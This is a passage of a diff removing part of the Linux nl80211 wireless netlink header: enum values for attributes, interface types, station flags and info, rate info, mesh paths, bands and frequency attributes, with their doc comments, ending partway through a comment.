-  NL80211_ATTR_REG_TYPE,
-
-  NL80211_ATTR_SUPPORTED_COMMANDS,
-
-  NL80211_ATTR_FRAME,
-  NL80211_ATTR_SSID,
-  NL80211_ATTR_AUTH_TYPE,
-  NL80211_ATTR_REASON_CODE,
-
-  NL80211_ATTR_KEY_TYPE,
-
-  NL80211_ATTR_MAX_SCAN_IE_LEN,
-  NL80211_ATTR_CIPHER_SUITES,
-
-  NL80211_ATTR_FREQ_BEFORE,
-  NL80211_ATTR_FREQ_AFTER,
-
-  NL80211_ATTR_FREQ_FIXED,
-
-  NL80211_ATTR_WIPHY_RETRY_SHORT,
-  NL80211_ATTR_WIPHY_RETRY_LONG,
-  NL80211_ATTR_WIPHY_FRAG_THRESHOLD,
-  NL80211_ATTR_WIPHY_RTS_THRESHOLD,
-
-  NL80211_ATTR_TIMED_OUT,
-
-  NL80211_ATTR_USE_MFP,
-
-  NL80211_ATTR_STA_FLAGS2,
-
-  NL80211_ATTR_CONTROL_PORT,
-
-  NL80211_ATTR_TESTDATA,
-
-  NL80211_ATTR_PRIVACY,
-
-  NL80211_ATTR_DISCONNECTED_BY_AP,
-  NL80211_ATTR_STATUS_CODE,
-
-  NL80211_ATTR_CIPHER_SUITES_PAIRWISE,
-  NL80211_ATTR_CIPHER_SUITE_GROUP,
-  NL80211_ATTR_WPA_VERSIONS,
-  NL80211_ATTR_AKM_SUITES,
-
-  NL80211_ATTR_REQ_IE,
-  NL80211_ATTR_RESP_IE,
-
-  NL80211_ATTR_PREV_BSSID,
-
-  NL80211_ATTR_KEY,
-  NL80211_ATTR_KEYS,
-
-  NL80211_ATTR_PID,
-
-  NL80211_ATTR_4ADDR,
-
-  NL80211_ATTR_SURVEY_INFO,
-
-  NL80211_ATTR_PMKID,
-  NL80211_ATTR_MAX_NUM_PMKIDS,
-
-  NL80211_ATTR_DURATION,
-
-  NL80211_ATTR_COOKIE,
-
-  NL80211_ATTR_WIPHY_COVERAGE_CLASS,
-
-  NL80211_ATTR_TX_RATES,
-
-  NL80211_ATTR_FRAME_MATCH,
-
-  NL80211_ATTR_ACK,
-
-  NL80211_ATTR_PS_STATE,
-
-  NL80211_ATTR_CQM,
-
-  NL80211_ATTR_LOCAL_STATE_CHANGE,
-
-  NL80211_ATTR_AP_ISOLATE,
-
-  NL80211_ATTR_WIPHY_TX_POWER_SETTING,
-  NL80211_ATTR_WIPHY_TX_POWER_LEVEL,
-
-  NL80211_ATTR_TX_FRAME_TYPES,
-  NL80211_ATTR_RX_FRAME_TYPES,
-  NL80211_ATTR_FRAME_TYPE,
-
-  NL80211_ATTR_CONTROL_PORT_ETHERTYPE,
-  NL80211_ATTR_CONTROL_PORT_NO_ENCRYPT,
-
-  NL80211_ATTR_SUPPORT_IBSS_RSN,
-
-  NL80211_ATTR_WIPHY_ANTENNA_TX,
-  NL80211_ATTR_WIPHY_ANTENNA_RX,
-
-  NL80211_ATTR_MCAST_RATE,
-
-  NL80211_ATTR_OFFCHANNEL_TX_OK,
-
-  NL80211_ATTR_BSS_HT_OPMODE,
-
-  NL80211_ATTR_KEY_DEFAULT_TYPES,
-
-  NL80211_ATTR_MAX_REMAIN_ON_CHANNEL_DURATION,
-
-  NL80211_ATTR_MESH_SETUP,
-
-  NL80211_ATTR_WIPHY_ANTENNA_AVAIL_TX,
-  NL80211_ATTR_WIPHY_ANTENNA_AVAIL_RX,
-
-  NL80211_ATTR_SUPPORT_MESH_AUTH,
-  NL80211_ATTR_STA_PLINK_STATE,
-
-  NL80211_ATTR_WOWLAN_TRIGGERS,
-  NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED,
-
-  NL80211_ATTR_SCHED_SCAN_INTERVAL,
-
-  NL80211_ATTR_INTERFACE_COMBINATIONS,
-  NL80211_ATTR_SOFTWARE_IFTYPES,
-
-  NL80211_ATTR_REKEY_DATA,
-
-  NL80211_ATTR_MAX_NUM_SCHED_SCAN_SSIDS,
-  NL80211_ATTR_MAX_SCHED_SCAN_IE_LEN,
-
-  NL80211_ATTR_SCAN_SUPP_RATES,
-
-  NL80211_ATTR_HIDDEN_SSID,
-
-  NL80211_ATTR_IE_PROBE_RESP,
-  NL80211_ATTR_IE_ASSOC_RESP,
-
-  NL80211_ATTR_STA_WME,
-  NL80211_ATTR_SUPPORT_AP_UAPSD,
-
-  NL80211_ATTR_ROAM_SUPPORT,
-
-  NL80211_ATTR_SCHED_SCAN_MATCH,
-  NL80211_ATTR_MAX_MATCH_SETS,
-
-  NL80211_ATTR_PMKSA_CANDIDATE,
-
-  NL80211_ATTR_TX_NO_CCK_RATE,
-
-  NL80211_ATTR_TDLS_ACTION,
-  NL80211_ATTR_TDLS_DIALOG_TOKEN,
-  NL80211_ATTR_TDLS_OPERATION,
-  NL80211_ATTR_TDLS_SUPPORT,
-  NL80211_ATTR_TDLS_EXTERNAL_SETUP,
-
-  NL80211_ATTR_DEVICE_AP_SME,
-
-  NL80211_ATTR_DONT_WAIT_FOR_ACK,
-
-  NL80211_ATTR_FEATURE_FLAGS,
-
-  NL80211_ATTR_PROBE_RESP_OFFLOAD,
-
-  NL80211_ATTR_PROBE_RESP,
-
-  NL80211_ATTR_DFS_REGION,
-
-  NL80211_ATTR_DISABLE_HT,
-  NL80211_ATTR_HT_CAPABILITY_MASK,
-
-  NL80211_ATTR_NOACK_MAP,
-
-  NL80211_ATTR_INACTIVITY_TIMEOUT,
-
-  NL80211_ATTR_RX_SIGNAL_DBM,
-
-  NL80211_ATTR_BG_SCAN_PERIOD,
-
-  NL80211_ATTR_WDEV,
-
-  NL80211_ATTR_USER_REG_HINT_TYPE,
-
-  NL80211_ATTR_CONN_FAILED_REASON,
-
-  NL80211_ATTR_SAE_DATA,
-
-  NL80211_ATTR_VHT_CAPABILITY,
-
-  NL80211_ATTR_SCAN_FLAGS,
-
-  NL80211_ATTR_CHANNEL_WIDTH,
-  NL80211_ATTR_CENTER_FREQ1,
-  NL80211_ATTR_CENTER_FREQ2,
-
-  NL80211_ATTR_P2P_CTWINDOW,
-  NL80211_ATTR_P2P_OPPPS,
-
-  NL80211_ATTR_LOCAL_MESH_POWER_MODE,
-
-  NL80211_ATTR_ACL_POLICY,
-
-  NL80211_ATTR_MAC_ADDRS,
-
-  NL80211_ATTR_MAC_ACL_MAX,
-
-  NL80211_ATTR_RADAR_EVENT,
-
-  NL80211_ATTR_EXT_CAPA,
-  NL80211_ATTR_EXT_CAPA_MASK,
-
-  NL80211_ATTR_STA_CAPABILITY,
-  NL80211_ATTR_STA_EXT_CAPABILITY,
-
-  NL80211_ATTR_PROTOCOL_FEATURES,
-  NL80211_ATTR_SPLIT_WIPHY_DUMP,
-
-  NL80211_ATTR_DISABLE_VHT,
-  NL80211_ATTR_VHT_CAPABILITY_MASK,
-
-  NL80211_ATTR_MDID,
-  NL80211_ATTR_IE_RIC,
-
-  NL80211_ATTR_CRIT_PROT_ID,
-  NL80211_ATTR_MAX_CRIT_PROT_DURATION,
-
-  NL80211_ATTR_PEER_AID,
-
-  NL80211_ATTR_COALESCE_RULE,
-
-  NL80211_ATTR_CH_SWITCH_COUNT,
-  NL80211_ATTR_CH_SWITCH_BLOCK_TX,
-  NL80211_ATTR_CSA_IES,
-  NL80211_ATTR_CSA_C_OFF_BEACON,
-  NL80211_ATTR_CSA_C_OFF_PRESP,
-
-  NL80211_ATTR_RXMGMT_FLAGS,
-
-  NL80211_ATTR_STA_SUPPORTED_CHANNELS,
-
-  NL80211_ATTR_STA_SUPPORTED_OPER_CLASSES,
-
-  NL80211_ATTR_HANDLE_DFS,
-
-  NL80211_ATTR_SUPPORT_5_MHZ,
-  NL80211_ATTR_SUPPORT_10_MHZ,
-
-  NL80211_ATTR_OPMODE_NOTIF,
-
-  NL80211_ATTR_VENDOR_ID,
-  NL80211_ATTR_VENDOR_SUBCMD,
-  NL80211_ATTR_VENDOR_DATA,
-  NL80211_ATTR_VENDOR_EVENTS,
-
-  NL80211_ATTR_QOS_MAP,
-
-  NL80211_ATTR_MAC_HINT,
-  NL80211_ATTR_WIPHY_FREQ_HINT,
-
-  NL80211_ATTR_MAX_AP_ASSOC_STA,
-
-  NL80211_ATTR_TDLS_PEER_CAPABILITY,
-
-  NL80211_ATTR_IFACE_SOCKET_OWNER,
-
-  NL80211_ATTR_CSA_C_OFFSETS_TX,
-  NL80211_ATTR_MAX_CSA_COUNTERS,
-
-  NL80211_ATTR_TDLS_INITIATOR,
-
-  NL80211_ATTR_USE_RRM,
-
-  NL80211_ATTR_WIPHY_DYN_ACK,
-
-  NL80211_ATTR_TSID,
-  NL80211_ATTR_USER_PRIO,
-  NL80211_ATTR_ADMITTED_TIME,
-
-  NL80211_ATTR_SMPS_MODE,
-
-  NL80211_ATTR_OPER_CLASS,
-
-  NL80211_ATTR_MAC_MASK,
-
-  NL80211_ATTR_WIPHY_SELF_MANAGED_REG,
-
-  NL80211_ATTR_EXT_FEATURES,
-
-  NL80211_ATTR_SURVEY_RADIO_STATS,
-
-  NL80211_ATTR_NETNS_FD,
-
-  NL80211_ATTR_SCHED_SCAN_DELAY,
-
-  NL80211_ATTR_REG_INDOOR,
-
-  NL80211_ATTR_MAX_NUM_SCHED_SCAN_PLANS,
-  NL80211_ATTR_MAX_SCAN_PLAN_INTERVAL,
-  NL80211_ATTR_MAX_SCAN_PLAN_ITERATIONS,
-  NL80211_ATTR_SCHED_SCAN_PLANS,
-
-  NL80211_ATTR_PBSS,
-
-  /* add attributes here, update the policy in nl80211.c */
-
-  __NL80211_ATTR_AFTER_LAST,
-  NL80211_ATTR_MAX = __NL80211_ATTR_AFTER_LAST - 1
-};
-
-/* source-level API compatibility */
-#define NL80211_ATTR_SCAN_GENERATION NL80211_ATTR_GENERATION
-#define NL80211_ATTR_MESH_PARAMS NL80211_ATTR_MESH_CONFIG
-
-/*
- * Allow user space programs to use #ifdef on new attributes by defining them
- * here
- */
-#define NL80211_CMD_CONNECT NL80211_CMD_CONNECT
-#define NL80211_ATTR_HT_CAPABILITY NL80211_ATTR_HT_CAPABILITY
-#define NL80211_ATTR_BSS_BASIC_RATES NL80211_ATTR_BSS_BASIC_RATES
-#define NL80211_ATTR_WIPHY_TXQ_PARAMS NL80211_ATTR_WIPHY_TXQ_PARAMS
-#define NL80211_ATTR_WIPHY_FREQ NL80211_ATTR_WIPHY_FREQ
-#define NL80211_ATTR_WIPHY_CHANNEL_TYPE NL80211_ATTR_WIPHY_CHANNEL_TYPE
-#define NL80211_ATTR_MGMT_SUBTYPE NL80211_ATTR_MGMT_SUBTYPE
-#define NL80211_ATTR_IE NL80211_ATTR_IE
-#define NL80211_ATTR_REG_INITIATOR NL80211_ATTR_REG_INITIATOR
-#define NL80211_ATTR_REG_TYPE NL80211_ATTR_REG_TYPE
-#define NL80211_ATTR_FRAME NL80211_ATTR_FRAME
-#define NL80211_ATTR_SSID NL80211_ATTR_SSID
-#define NL80211_ATTR_AUTH_TYPE NL80211_ATTR_AUTH_TYPE
-#define NL80211_ATTR_REASON_CODE NL80211_ATTR_REASON_CODE
-#define NL80211_ATTR_CIPHER_SUITES_PAIRWISE NL80211_ATTR_CIPHER_SUITES_PAIRWISE
-#define NL80211_ATTR_CIPHER_SUITE_GROUP NL80211_ATTR_CIPHER_SUITE_GROUP
-#define NL80211_ATTR_WPA_VERSIONS NL80211_ATTR_WPA_VERSIONS
-#define NL80211_ATTR_AKM_SUITES NL80211_ATTR_AKM_SUITES
-#define NL80211_ATTR_KEY NL80211_ATTR_KEY
-#define NL80211_ATTR_KEYS NL80211_ATTR_KEYS
-#define NL80211_ATTR_FEATURE_FLAGS NL80211_ATTR_FEATURE_FLAGS
-
-#define NL80211_MAX_SUPP_RATES 32
-#define NL80211_MAX_SUPP_HT_RATES 77
-#define NL80211_MAX_SUPP_REG_RULES 32
-#define NL80211_TKIP_DATA_OFFSET_ENCR_KEY 0
-#define NL80211_TKIP_DATA_OFFSET_TX_MIC_KEY 16
-#define NL80211_TKIP_DATA_OFFSET_RX_MIC_KEY 24
-#define NL80211_HT_CAPABILITY_LEN 26
-#define NL80211_VHT_CAPABILITY_LEN 12
-
-#define NL80211_MAX_NR_CIPHER_SUITES 5
-#define NL80211_MAX_NR_AKM_SUITES 2
-
-#define NL80211_MIN_REMAIN_ON_CHANNEL_TIME 10
-
-/* default RSSI threshold for scan results if none specified. */
-#define NL80211_SCAN_RSSI_THOLD_OFF -300
-
-#define NL80211_CQM_TXE_MAX_INTVL 1800
-
-/**
- * enum nl80211_iftype - (virtual) interface types
- *
- * @NL80211_IFTYPE_UNSPECIFIED: unspecified type, driver decides
- * @NL80211_IFTYPE_ADHOC: independent BSS member
- * @NL80211_IFTYPE_STATION: managed BSS member
- * @NL80211_IFTYPE_AP: access point
- * @NL80211_IFTYPE_AP_VLAN: VLAN interface for access points; VLAN interfaces
- *	are a bit special in that they must always be tied to a pre-existing
- *	AP type interface.
- * @NL80211_IFTYPE_WDS: wireless distribution interface
- * @NL80211_IFTYPE_MONITOR: monitor interface receiving all frames
- * @NL80211_IFTYPE_MESH_POINT: mesh point
- * @NL80211_IFTYPE_P2P_CLIENT: P2P client
- * @NL80211_IFTYPE_P2P_GO: P2P group owner
- * @NL80211_IFTYPE_P2P_DEVICE: P2P device interface type, this is not a netdev
- *	and therefore can't be created in the normal ways, use the
- *	%NL80211_CMD_START_P2P_DEVICE and %NL80211_CMD_STOP_P2P_DEVICE
- *	commands to create and destroy one
- * @NL80211_IFTYPE_MAX: highest interface type number currently defined
- * @NUM_NL80211_IFTYPES: number of defined interface types
- *
- * These values are used with the %NL80211_ATTR_IFTYPE
- * to set the type of an interface.
- *
- */
-enum nl80211_iftype {
-  NL80211_IFTYPE_UNSPECIFIED,
-  NL80211_IFTYPE_ADHOC,
-  NL80211_IFTYPE_STATION,
-  NL80211_IFTYPE_AP,
-  NL80211_IFTYPE_AP_VLAN,
-  NL80211_IFTYPE_WDS,
-  NL80211_IFTYPE_MONITOR,
-  NL80211_IFTYPE_MESH_POINT,
-  NL80211_IFTYPE_P2P_CLIENT,
-  NL80211_IFTYPE_P2P_GO,
-  NL80211_IFTYPE_P2P_DEVICE,
-
-  /* keep last */
-  NUM_NL80211_IFTYPES,
-  NL80211_IFTYPE_MAX = NUM_NL80211_IFTYPES - 1
-};
-
-/**
- * enum nl80211_sta_flags - station flags
- *
- * Station flags. When a station is added to an AP interface, it is
- * assumed to be already associated (and hence authenticated.)
- *
- * @__NL80211_STA_FLAG_INVALID: attribute number 0 is reserved
- * @NL80211_STA_FLAG_AUTHORIZED: station is authorized (802.1X)
- * @NL80211_STA_FLAG_SHORT_PREAMBLE: station is capable of receiving frames
- *	with short barker preamble
- * @NL80211_STA_FLAG_WME: station is WME/QoS capable
- * @NL80211_STA_FLAG_MFP: station uses management frame protection
- * @NL80211_STA_FLAG_AUTHENTICATED: station is authenticated
- * @NL80211_STA_FLAG_TDLS_PEER: station is a TDLS peer -- this flag should
- *	only be used in managed mode (even in the flags mask). Note that the
- *	flag can't be changed, it is only valid while adding a station, and
- *	attempts to change it will silently be ignored (rather than rejected
- *	as errors.)
- * @NL80211_STA_FLAG_ASSOCIATED: station is associated; used with drivers
- *	that support %NL80211_FEATURE_FULL_AP_CLIENT_STATE to transition a
- *	previously added station into associated state
- * @NL80211_STA_FLAG_MAX: highest station flag number currently defined
- * @__NL80211_STA_FLAG_AFTER_LAST: internal use
- */
-enum nl80211_sta_flags {
-  __NL80211_STA_FLAG_INVALID,
-  NL80211_STA_FLAG_AUTHORIZED,
-  NL80211_STA_FLAG_SHORT_PREAMBLE,
-  NL80211_STA_FLAG_WME,
-  NL80211_STA_FLAG_MFP,
-  NL80211_STA_FLAG_AUTHENTICATED,
-  NL80211_STA_FLAG_TDLS_PEER,
-  NL80211_STA_FLAG_ASSOCIATED,
-
-  /* keep last */
-  __NL80211_STA_FLAG_AFTER_LAST,
-  NL80211_STA_FLAG_MAX = __NL80211_STA_FLAG_AFTER_LAST - 1
-};
-
-#define NL80211_STA_FLAG_MAX_OLD_API NL80211_STA_FLAG_TDLS_PEER
-
-/**
- * struct nl80211_sta_flag_update - station flags mask/set
- * @mask: mask of station flags to set
- * @set: which values to set them to
- *
- * Both mask and set contain bits as per &enum nl80211_sta_flags.
- */
-struct nl80211_sta_flag_update {
-  __u32 mask;
-  __u32 set;
-} __attribute__((packed));
-
-/**
- * enum nl80211_rate_info - bitrate information
- *
- * These attribute types are used with %NL80211_STA_INFO_TXRATE
- * when getting information about the bitrate of a station.
- * There are 2 attributes for bitrate, a legacy one that represents
- * a 16-bit value, and new one that represents a 32-bit value.
- * If the rate value fits into 16 bit, both attributes are reported
- * with the same value. If the rate is too high to fit into 16 bits
- * (>6.5535Gbps) only 32-bit attribute is included.
- * User space tools encouraged to use the 32-bit attribute and fall
- * back to the 16-bit one for compatibility with older kernels.
- *
- * @__NL80211_RATE_INFO_INVALID: attribute number 0 is reserved
- * @NL80211_RATE_INFO_BITRATE: total bitrate (u16, 100kbit/s)
- * @NL80211_RATE_INFO_MCS: mcs index for 802.11n (u8)
- * @NL80211_RATE_INFO_40_MHZ_WIDTH: 40 MHz dualchannel bitrate
- * @NL80211_RATE_INFO_SHORT_GI: 400ns guard interval
- * @NL80211_RATE_INFO_BITRATE32: total bitrate (u32, 100kbit/s)
- * @NL80211_RATE_INFO_MAX: highest rate_info number currently defined
- * @NL80211_RATE_INFO_VHT_MCS: MCS index for VHT (u8)
- * @NL80211_RATE_INFO_VHT_NSS: number of streams in VHT (u8)
- * @NL80211_RATE_INFO_80_MHZ_WIDTH: 80 MHz VHT rate
- * @NL80211_RATE_INFO_80P80_MHZ_WIDTH: 80+80 MHz VHT rate
- * @NL80211_RATE_INFO_160_MHZ_WIDTH: 160 MHz VHT rate
- * @__NL80211_RATE_INFO_AFTER_LAST: internal use
- */
-enum nl80211_rate_info {
-  __NL80211_RATE_INFO_INVALID,
-  NL80211_RATE_INFO_BITRATE,
-  NL80211_RATE_INFO_MCS,
-  NL80211_RATE_INFO_40_MHZ_WIDTH,
-  NL80211_RATE_INFO_SHORT_GI,
-  NL80211_RATE_INFO_BITRATE32,
-  NL80211_RATE_INFO_VHT_MCS,
-  NL80211_RATE_INFO_VHT_NSS,
-  NL80211_RATE_INFO_80_MHZ_WIDTH,
-  NL80211_RATE_INFO_80P80_MHZ_WIDTH,
-  NL80211_RATE_INFO_160_MHZ_WIDTH,
-
-  /* keep last */
-  __NL80211_RATE_INFO_AFTER_LAST,
-  NL80211_RATE_INFO_MAX = __NL80211_RATE_INFO_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_sta_bss_param - BSS information collected by STA
- *
- * These attribute types are used with %NL80211_STA_INFO_BSS_PARAM
- * when getting information about the bitrate of a station.
- *
- * @__NL80211_STA_BSS_PARAM_INVALID: attribute number 0 is reserved
- * @NL80211_STA_BSS_PARAM_CTS_PROT: whether CTS protection is enabled (flag)
- * @NL80211_STA_BSS_PARAM_SHORT_PREAMBLE:  whether short preamble is enabled
- *	(flag)
- * @NL80211_STA_BSS_PARAM_SHORT_SLOT_TIME:  whether short slot time is enabled
- *	(flag)
- * @NL80211_STA_BSS_PARAM_DTIM_PERIOD: DTIM period for beaconing (u8)
- * @NL80211_STA_BSS_PARAM_BEACON_INTERVAL: Beacon interval (u16)
- * @NL80211_STA_BSS_PARAM_MAX: highest sta_bss_param number currently defined
- * @__NL80211_STA_BSS_PARAM_AFTER_LAST: internal use
- */
-enum nl80211_sta_bss_param {
-  __NL80211_STA_BSS_PARAM_INVALID,
-  NL80211_STA_BSS_PARAM_CTS_PROT,
-  NL80211_STA_BSS_PARAM_SHORT_PREAMBLE,
-  NL80211_STA_BSS_PARAM_SHORT_SLOT_TIME,
-  NL80211_STA_BSS_PARAM_DTIM_PERIOD,
-  NL80211_STA_BSS_PARAM_BEACON_INTERVAL,
-
-  /* keep last */
-  __NL80211_STA_BSS_PARAM_AFTER_LAST,
-  NL80211_STA_BSS_PARAM_MAX = __NL80211_STA_BSS_PARAM_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_sta_info - station information
- *
- * These attribute types are used with %NL80211_ATTR_STA_INFO
- * when getting information about a station.
- *
- * @__NL80211_STA_INFO_INVALID: attribute number 0 is reserved
- * @NL80211_STA_INFO_INACTIVE_TIME: time since last activity (u32, msecs)
- * @NL80211_STA_INFO_RX_BYTES: total received bytes (u32, from this station)
- * @NL80211_STA_INFO_TX_BYTES: total transmitted bytes (u32, to this station)
- * @NL80211_STA_INFO_RX_BYTES64: total received bytes (u64, from this station)
- * @NL80211_STA_INFO_TX_BYTES64: total transmitted bytes (u64, to this station)
- * @NL80211_STA_INFO_SIGNAL: signal strength of last received PPDU (u8, dBm)
- * @NL80211_STA_INFO_TX_BITRATE: current unicast tx rate, nested attribute
- * 	containing info as possible, see &enum nl80211_rate_info
- * @NL80211_STA_INFO_RX_PACKETS: total received packet (u32, from this station)
- * @NL80211_STA_INFO_TX_PACKETS: total transmitted packets (u32, to this
- *	station)
- * @NL80211_STA_INFO_TX_RETRIES: total retries (u32, to this station)
- * @NL80211_STA_INFO_TX_FAILED: total failed packets (u32, to this station)
- * @NL80211_STA_INFO_SIGNAL_AVG: signal strength average (u8, dBm)
- * @NL80211_STA_INFO_LLID: the station's mesh LLID
- * @NL80211_STA_INFO_PLID: the station's mesh PLID
- * @NL80211_STA_INFO_PLINK_STATE: peer link state for the station
- *	(see %enum nl80211_plink_state)
- * @NL80211_STA_INFO_RX_BITRATE: last unicast data frame rx rate, nested
- *	attribute, like NL80211_STA_INFO_TX_BITRATE.
- * @NL80211_STA_INFO_BSS_PARAM: current station's view of BSS, nested attribute
- *     containing info as possible, see &enum nl80211_sta_bss_param
- * @NL80211_STA_INFO_CONNECTED_TIME: time since the station is last connected
- * @NL80211_STA_INFO_STA_FLAGS: Contains a struct nl80211_sta_flag_update.
- * @NL80211_STA_INFO_BEACON_LOSS: count of times beacon loss was detected (u32)
- * @NL80211_STA_INFO_T_OFFSET: timing offset with respect to this STA (s64)
- * @NL80211_STA_INFO_LOCAL_PM: local mesh STA link-specific power mode
- * @NL80211_STA_INFO_PEER_PM: peer mesh STA link-specific power mode
- * @NL80211_STA_INFO_NONPEER_PM: neighbor mesh STA power save mode towards
- *	non-peer STA
- * @NL80211_STA_INFO_CHAIN_SIGNAL: per-chain signal strength of last PPDU
- *	Contains a nested array of signal strength attributes (u8, dBm)
- * @NL80211_STA_INFO_CHAIN_SIGNAL_AVG: per-chain signal strength average
- *	Same format as NL80211_STA_INFO_CHAIN_SIGNAL.
- * @NL80211_STA_EXPECTED_THROUGHPUT: expected throughput considering also the
- *	802.11 header (u32, kbps)
- * @__NL80211_STA_INFO_AFTER_LAST: internal
- * @NL80211_STA_INFO_MAX: highest possible station info attribute
- */
-enum nl80211_sta_info {
-  __NL80211_STA_INFO_INVALID,
-  NL80211_STA_INFO_INACTIVE_TIME,
-  NL80211_STA_INFO_RX_BYTES,
-  NL80211_STA_INFO_TX_BYTES,
-  NL80211_STA_INFO_LLID,
-  NL80211_STA_INFO_PLID,
-  NL80211_STA_INFO_PLINK_STATE,
-  NL80211_STA_INFO_SIGNAL,
-  NL80211_STA_INFO_TX_BITRATE,
-  NL80211_STA_INFO_RX_PACKETS,
-  NL80211_STA_INFO_TX_PACKETS,
-  NL80211_STA_INFO_TX_RETRIES,
-  NL80211_STA_INFO_TX_FAILED,
-  NL80211_STA_INFO_SIGNAL_AVG,
-  NL80211_STA_INFO_RX_BITRATE,
-  NL80211_STA_INFO_BSS_PARAM,
-  NL80211_STA_INFO_CONNECTED_TIME,
-  NL80211_STA_INFO_STA_FLAGS,
-  NL80211_STA_INFO_BEACON_LOSS,
-  NL80211_STA_INFO_T_OFFSET,
-  NL80211_STA_INFO_LOCAL_PM,
-  NL80211_STA_INFO_PEER_PM,
-  NL80211_STA_INFO_NONPEER_PM,
-  NL80211_STA_INFO_RX_BYTES64,
-  NL80211_STA_INFO_TX_BYTES64,
-  NL80211_STA_INFO_CHAIN_SIGNAL,
-  NL80211_STA_INFO_CHAIN_SIGNAL_AVG,
-  NL80211_STA_INFO_EXPECTED_THROUGHPUT,
-
-  /* keep last */
-  __NL80211_STA_INFO_AFTER_LAST,
-  NL80211_STA_INFO_MAX = __NL80211_STA_INFO_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_mpath_flags - nl80211 mesh path flags
- *
- * @NL80211_MPATH_FLAG_ACTIVE: the mesh path is active
- * @NL80211_MPATH_FLAG_RESOLVING: the mesh path discovery process is running
- * @NL80211_MPATH_FLAG_SN_VALID: the mesh path contains a valid SN
- * @NL80211_MPATH_FLAG_FIXED: the mesh path has been manually set
- * @NL80211_MPATH_FLAG_RESOLVED: the mesh path discovery process succeeded
- */
-enum nl80211_mpath_flags {
-  NL80211_MPATH_FLAG_ACTIVE = 1 << 0,
-  NL80211_MPATH_FLAG_RESOLVING = 1 << 1,
-  NL80211_MPATH_FLAG_SN_VALID = 1 << 2,
-  NL80211_MPATH_FLAG_FIXED = 1 << 3,
-  NL80211_MPATH_FLAG_RESOLVED = 1 << 4,
-};
-
-/**
- * enum nl80211_mpath_info - mesh path information
- *
- * These attribute types are used with %NL80211_ATTR_MPATH_INFO when getting
- * information about a mesh path.
- *
- * @__NL80211_MPATH_INFO_INVALID: attribute number 0 is reserved
- * @NL80211_MPATH_INFO_FRAME_QLEN: number of queued frames for this destination
- * @NL80211_MPATH_INFO_SN: destination sequence number
- * @NL80211_MPATH_INFO_METRIC: metric (cost) of this mesh path
- * @NL80211_MPATH_INFO_EXPTIME: expiration time for the path, in msec from now
- * @NL80211_MPATH_INFO_FLAGS: mesh path flags, enumerated in
- * 	&enum nl80211_mpath_flags;
- * @NL80211_MPATH_INFO_DISCOVERY_TIMEOUT: total path discovery timeout, in msec
- * @NL80211_MPATH_INFO_DISCOVERY_RETRIES: mesh path discovery retries
- * @NL80211_MPATH_INFO_MAX: highest mesh path information attribute number
- *	currently defind
- * @__NL80211_MPATH_INFO_AFTER_LAST: internal use
- */
-enum nl80211_mpath_info {
-  __NL80211_MPATH_INFO_INVALID,
-  NL80211_MPATH_INFO_FRAME_QLEN,
-  NL80211_MPATH_INFO_SN,
-  NL80211_MPATH_INFO_METRIC,
-  NL80211_MPATH_INFO_EXPTIME,
-  NL80211_MPATH_INFO_FLAGS,
-  NL80211_MPATH_INFO_DISCOVERY_TIMEOUT,
-  NL80211_MPATH_INFO_DISCOVERY_RETRIES,
-
-  /* keep last */
-  __NL80211_MPATH_INFO_AFTER_LAST,
-  NL80211_MPATH_INFO_MAX = __NL80211_MPATH_INFO_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_band_attr - band attributes
- * @__NL80211_BAND_ATTR_INVALID: attribute number 0 is reserved
- * @NL80211_BAND_ATTR_FREQS: supported frequencies in this band,
- *	an array of nested frequency attributes
- * @NL80211_BAND_ATTR_RATES: supported bitrates in this band,
- *	an array of nested bitrate attributes
- * @NL80211_BAND_ATTR_HT_MCS_SET: 16-byte attribute containing the MCS set as
- *	defined in 802.11n
- * @NL80211_BAND_ATTR_HT_CAPA: HT capabilities, as in the HT information IE
- * @NL80211_BAND_ATTR_HT_AMPDU_FACTOR: A-MPDU factor, as in 11n
- * @NL80211_BAND_ATTR_HT_AMPDU_DENSITY: A-MPDU density, as in 11n
- * @NL80211_BAND_ATTR_VHT_MCS_SET: 32-byte attribute containing the MCS set as
- *	defined in 802.11ac
- * @NL80211_BAND_ATTR_VHT_CAPA: VHT capabilities, as in the HT information IE
- * @NL80211_BAND_ATTR_MAX: highest band attribute currently defined
- * @__NL80211_BAND_ATTR_AFTER_LAST: internal use
- */
-enum nl80211_band_attr {
-  __NL80211_BAND_ATTR_INVALID,
-  NL80211_BAND_ATTR_FREQS,
-  NL80211_BAND_ATTR_RATES,
-
-  NL80211_BAND_ATTR_HT_MCS_SET,
-  NL80211_BAND_ATTR_HT_CAPA,
-  NL80211_BAND_ATTR_HT_AMPDU_FACTOR,
-  NL80211_BAND_ATTR_HT_AMPDU_DENSITY,
-
-  NL80211_BAND_ATTR_VHT_MCS_SET,
-  NL80211_BAND_ATTR_VHT_CAPA,
-
-  /* keep last */
-  __NL80211_BAND_ATTR_AFTER_LAST,
-  NL80211_BAND_ATTR_MAX = __NL80211_BAND_ATTR_AFTER_LAST - 1
-};
-
-#define NL80211_BAND_ATTR_HT_CAPA NL80211_BAND_ATTR_HT_CAPA
-
-/**
- * enum nl80211_frequency_attr - frequency attributes
- * @__NL80211_FREQUENCY_ATTR_INVALID: attribute number 0 is reserved
- * @NL80211_FREQUENCY_ATTR_FREQ: Frequency in MHz
- * @NL80211_FREQUENCY_ATTR_DISABLED: Channel is disabled in current
- *	regulatory domain.
- * @NL80211_FREQUENCY_ATTR_NO_IR: no mechanisms that initiate radiation
- * 	are permitted on this channel, this includes sending probe
- * 	requests, or modes of operation that require beaconing.
- * @NL80211_FREQUENCY_ATTR_RADAR: Radar detection is mandatory
- *	on this channel in current regulatory domain.
- * @NL80211_FREQUENCY_ATTR_MAX_TX_POWER: Maximum transmission power in mBm
- *	(100 * dBm).
- * @NL80211_FREQUENCY_ATTR_DFS_STATE: current state for DFS
- *	(enum nl80211_dfs_state)
- * @NL80211_FREQUENCY_ATTR_DFS_TIME: time in miliseconds for how long
- *	this channel is in this DFS state.
- * @NL80211_FREQUENCY_ATTR_NO_HT40_MINUS: HT40- isn't possible with this
- *	channel as the control channel
- * @NL80211_FREQUENCY_ATTR_NO_HT40_PLUS: HT40+ isn't possible with this
- *	channel as the control channel
- * @NL80211_FREQUENCY_ATTR_NO_80MHZ: any 80 MHz channel using this channel
- *	as the primary or any of the secondary channels isn't possible,
- *	this includes 80+80 channels
